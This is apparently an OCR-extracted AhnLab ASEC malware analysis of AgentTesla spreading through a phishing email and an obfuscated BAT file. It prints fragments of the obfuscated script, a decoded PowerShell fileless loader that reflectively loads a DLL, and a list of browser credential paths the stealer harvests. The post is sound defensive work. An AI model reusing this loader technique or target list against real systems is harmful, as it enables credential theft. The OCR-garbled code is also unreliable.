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AhnLab Security Emergency response Center (ASEC) spotted the AgentTesla Infostealer being distributed
through an email in the form of a malicious BAT file. When the BAT file is executed, it employs the fileless
method to run AgentTesla (EXE) without creating the file on the user’s PC. This blog post will provide an
explanation of the distribution process, from the spam email to the final binary (AgentTesla), along with related
techniques. Figure 1 shows the body of the spam email distributing the AgentTesla malware. It deceives recipients
by mentioning in the subject line that the email was sent from an alternative email account and then encourages
them to execute the malicious file (.BAT). As shown in Figure 2, the attached zip (compressed) file contains a
batch script file (.BAT). The BAT file is a type of script file that is run by the Windows application cmd.exe when

executed.
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Second mail I'm sending you from my alternative email id

o AT e Emgmey

AR # Documents and Details.zip (768 KB)

Good Moming,
This is the second mail i'm sending you from my alternative email id .. =2E yet no response from vour side since 1 sent all the documents and detar=s.

Based on our last mail, kindly confirmed all details as attached in this=mail.

Thanks & Regards,

HTTEE] S .
Mobile Tuu” ¥ -
Tel Phone-® uu I buii o 1d

=BODY=

= pmepl="Th

Figure 1. Body of the phishing email
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Documents and Details. bat

Figure 2. Malicious script (.bat) inside the attached zip file

Figure 3 is the obfuscated BAT script file. As shown in the EDR detection screen in Figure 4, the BAT file copies

itself using the xcopy command when executed. Additionally, it disguises a normal powershell.exe with a png

extension and copies it.
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[ Documents and Details, bat E3

Gecho off ~
set "Mrggikzmci=exit" & set "Jzgjtxijme=if not DEFINED I5_MI" & set "Kpehagrdso=NIMIZED set IS5 MINIM" & set
&E "

(X"

"Yueslilpxl=IZED=1 && start "" /" & set "Uggmpxnhud=min "
sJzgit = P % X!

oW

set "Slbktirscs=echo F | xcopy /d /g /v /h /" & set "Zkjrtmfwpb=exe %t \Lynfe.png"
set "Jipexnuibi=i C:\Windows\SysWOWE4\Window" & set "¥Ynrekeggac=sPowerShellivl.O\powsrshesll.™

.

#ZLynfe.png.ba" & set "Bxfwonftxz=echo F | xcopy /d /g /vy /h"

11 set "Fujxlrmdco=1ACgAJABuRAHUALABSACWAI" & set "Nxtywglkij=ABvACQATAAKAGSAAOQBOAHA"™ & set "Dolychcsau=gBlAGYALABIAGMAAABpAGE" &
set "Zylwggixbn=1AGOAZQBjAHOAIABTAHKAC" & set "Rhxyonmegb=ARKAFQRAAB3AGWAAWBIACkK" & set "Kiluagwsys=0BulAGUACWAOACQAKABDLAFM"
& set "Upoxdkihci=gBOAGUAZABUAHKACABLAHM" & set "Unbxfxdren=gAFMAZQBsAGUAYWBOACOAT" & set "Eseefcsaaa=lAGOALgBJAESALgBHAGUAL"
set "Pjajsflztb=hAGKALgBNAGSAZABIAGWAZ" & set "Wgbpdtzsll=cAFIAZQBZAGUACgBzAGUAK"

set "Hrlxlmpelv=AIABPRHUAARATAE4ACdQBsSA"

set "Dnwskgzibh=bAFMA=QBzAHQAZQBTACARTU"

set "Khasakxhfy=0RHIRZQERAGOAIARKAFIRL"

set "H3gymlnvvl=gAFsAUwBSAHMAARBIAGOAL"

set "Plwarvwd]v=GMAZOBzAHMAKAARACIATQB" & set "Nhdhsrslis=AWwBJAESALgGBDAGSALQBWA" & set "Gffetdghec=RQOByAHIAYQBSACQAKQATA"™ &
set "Kmeekybunz=€ACRAPQAOACCASQBpAHIAZ" & set "Loeipjawir—ROwAgACQAVOBEAGWAcgBIAM

2  set "Fzjinyfkebe—RdAB3ACAAPQAUACQAVOBEA" & set "Ubzxplggim—GBAbgRuAFcAegEpAHAAUWE" & set "Rlwkzclhke=CURcwBzACKACWAKAFOAAAR™
19 set "Yrihypsbtt=AbwBtAHARCOBIAHMACWBpA" & set "Gdwkhecwmj=FgAdAB3AGwAdWBiACAAPQA" & set "Dlsvsrlvpf=DOAIABOAGUAdwACAESAYQGB" &
set "5s3ixebonll=wBOAGUALQAUAEKATWAGRAEM" & set "Vavzkdodob=zAC4AUABYAGSAYwBlAHMAcC" & set "Xxnvhffjta=AQgAEAEYACgBVAGOACQgBhA™
& set "Ckjzupnmgu=AalB3AHoAagB3ACAAPQAGA" & set "Zflsgbtzvz=uAGCAKAAKAE4AaABKAGSAc" & set "Ljdzelbekn=GwA" & set
"Ibubejmksi=wBiAGOAZOBJAHOAIAAtAGW" & set "Chcztywzfh=iAC4AYgBhAHOAIQApDACWAI"™ & set "Dlsulkvkrg=wBpAHcAegBgAHCAKQATACO" & set
"Dzcdssylxc=AIABOAGUAAWAtAESAYgBQA" & set "Cgfjalvyyp=CAAPQAGAE4AZOB3ACOATWE"

set "Pccfhioatx=0RAHCALAB3AGIAIAApADSAJ"

set "Wsdtyempku=ReQBzRHQAZQBTAC4ARRBPA" & set "Eurfdsqunn=GUAYwBOACAAUWBSAHMAAAB" & set "Vmisyddrli=QBvAG4ATQBVAGQAZQBAADO" &
set "Gecvemgawa=AUgBvAHIACQBOAHEALWAgGA" & set "Kruaocviwr=kACgAJABYAHQAAWBsSAHCAY" & set "Seusglakmv=AYWBvAGQAaQBuAGCAXQREA"
& set "Rlzmnndnna=ACgBEAGUAYWBVAGOACABYA" & set "Xloggadcxa=gRApADsSATAAKAEKAaQBVAGc" & set "Vxhzywogbxc=ABbAHQAZQB4AHQALgBlAG4™
set "Suxrcvdgqnt=ABlAGOALGBJAESALGBNAGU" & set "JIxegxxslxj=GwAeQBdADoACOBHMAGSAYQB"

set "Oschrxixaw=uREcAZOBOAEUAeABWAGSAC" & set "QObzaucgzlm=0BoAHEAbwAuAEMALABVAHM"

set "Ekftsrgxhc=1 -enc JABCAGQAZABVAHM"

set "Ggnchkahlu=wBlAHQACABIAHOALGBUAGE" & set "Nglcmfmche=DARXQAUAEkKALQBZAGEAawB" & set "Glbveagklg=AdABoAGEAZABzACQRAKOBLA" v

Figure 3. Malicious BAT file
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Figure 4. xcopy command executed via cmd.exe (EDR showing the BAT file being copied along with

powershell.exe which has been disguised with a png extension)

Afterward, it executes PowerShell commands through powershell.exe (Lynfe.png) which has been disguised with
a png extension. As depicted in Figure 5, the EDR detection screen displays the PowerShell process name as a

process with the png extension (Lynfe.png), and it is this process that executes the PowerShell commands.
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Figure 5. EDR displaying the PowerShell script that was executed via cmd.exe

Figure 6 is the decoded PowerShell commands. The PowerShell commands decode (gzip, reverse) the data
encoded within the BAT file, create a DLL payload, and load it into the PowerShell process. As shown in Figure 7,
the loaded DLL executes the decoded shellcode, which, in turn, performs additional decoding routines and

ultimately runs the AgentTesla malware in the memory.

$Nhdosiwzjw = [IO.File]::ReadLines ((([System.Diagnostics.Process]: ::GetCurrentProcess() .MainModule.FileName) .ToString() + ".bat"),
[text.encoding] : :UTF8) | Select-Chject -last

$Xtwlwb = [System.Convert]::FromBaseé645tring (§Nhdosiwziw) ;

SRorghgo = st System. I0.MemoryStream( , S$Xtwlwb )

Sontput = ct System.IC.MemoryStream;

§Ztzbz = Ne 3| System.I0.Compression.GzipStream $Rorghgo, ([IC.Compression.CompressionMode]::Decompress);
$Ztzbz.CopyTo( Soutput )

$Ztzbz.Close ()

$Rorghgo.Close () ;

[byte[]] $Xtwlwb = $output.ToArray():

Array] : :Reverse (SXtwlwb)

$Uzlrunszet = [System.Reflection.Assembly]::Load($Xtwlwb) ;

§Iirgtw = $Uzlrunszet.GetExportedTypes() [0]:

§Dbolghiwz = STirgtw.GetMethods () [0].Invoke ($null, S$null) | Cut—Hull

Figure 6. Decoded PowerShell commands that load the .NET DLL encoded within the BAT file
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Figure 7. .NET DLL feature that executes the decoded shellcode

Figure 8 shows the feature of the AgentTesla malware, which is ultimately executed by the PowerShell process
(Lynfe.png). This feature is responsible for stealing account credentials from a specific browser (Edge). It collects
account credential-related data through various paths in this manner, and Table 1 provides a glimpse of the

collection paths for the stolen information.
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Account credential-stealing feature of the final payload, AgentTesla

A Portion of Collection Paths for Account Credential-related Data

“Sputnik\Sputnik\User Data” “Elements Browser\User Data” “\NETGATE
Technologies\BlackHawk\” “BraveSoftware\Brave-Browser\User Data” “\Waterfox\”
“uCozMedia\Uran\User Data” “Opera Software\Opera Stable” “Microsoft\Edge\User Data”
“\Comodo\IceDragon\” “CatalinaGroup\Citrio\User Data” “7Star\7Star\User Data” “Fenrir
Inc\Sleipnir5\setting\modules\ChromiumViewer” “Yandex\YandexBrowser\User Data”
“\Thunderbird\” “Chedot\User Data” “Iridium\User Data” “Kometa\User Data”
“Chromium\User Data” “QIP Surf\User Data” “\Mozilla\Firefox\” “\Mozilla\SeaMonkey\” “\K-
Meleon\” “liebao\User Data” “CocCoc\Browser\User Data” “\Mozilla\icecat\” “Amigo\User
Data” “Vivaldi\User Data” “Orbitum\User Data” “MapleStudio\ChromePlus\User Data”
“360Chrome\Chrome\User Data” “Google\Chrome\User Data” “Comodo\Dragon\User Data”
“Epic Privacy Browser\User Data” “\Flock\Browser\” “\Postbox\” “Coowon\Coowon\User
Data” “\Moonchild Productions\Pale Moon\” “\8pecxstudios\Cyberfox\” “Torch\User Data”

“CentBrowser\User Data”

Table 1. A portion of collection paths for account credential-related data In Figure 9, which is the EDR detection

screen for infostealing behavior, you can see that the PowerShell process disguised as a png file accessed the

account credential within a browser.
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Figure 9. EDR showing evidence of AgentTesla’s account credential theft

After stealing information, AgentTesla, which is running within the PowerShell process (Lynfe.png), transfers the

collected data to an FTP server controlled by the threat actor, as depicted in Figure 10.

ZJ2yaPEj ):

Figure 10. The feature of the final payload, AgentTesla, to transfer stolen information to a C2 via FTP

Using EDR’s evidence data, we explained the infection flow of AgentTesla Infostealer that is being distributed
through spam emails. The threat actor employed a sophisticated fileless technique that does not create an EXE file
and cunningly disguised the distribution email by writing in the subject line that the email had been sent from an
alternative email account. It is essential to exercise caution when opening attachments and ensure that there is no
extension present that is capable of executing malware. Additionally, continuous monitoring using security
products is crucial for detecting and controlling unauthorized access from threat actors. [Behavior Detection]
Credential Access/EDR.Event.M11362 [File Detection] Trojan/BAT.Agent.SC192347

MD5
6d9821bc1ca643a6f75057a97975db0e
Additional IOCs are available on AhnLab TIP.

To learn more about AhnLab EDR's advanced behavior-based detection and reponse, please click the banner

below
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AhnLab EDR

We Hunt All Threats

The Purpose-built EDR Proven In MITRE ATT&CK Evaluation

Source: https://asec.ahnlab.com/en/57546
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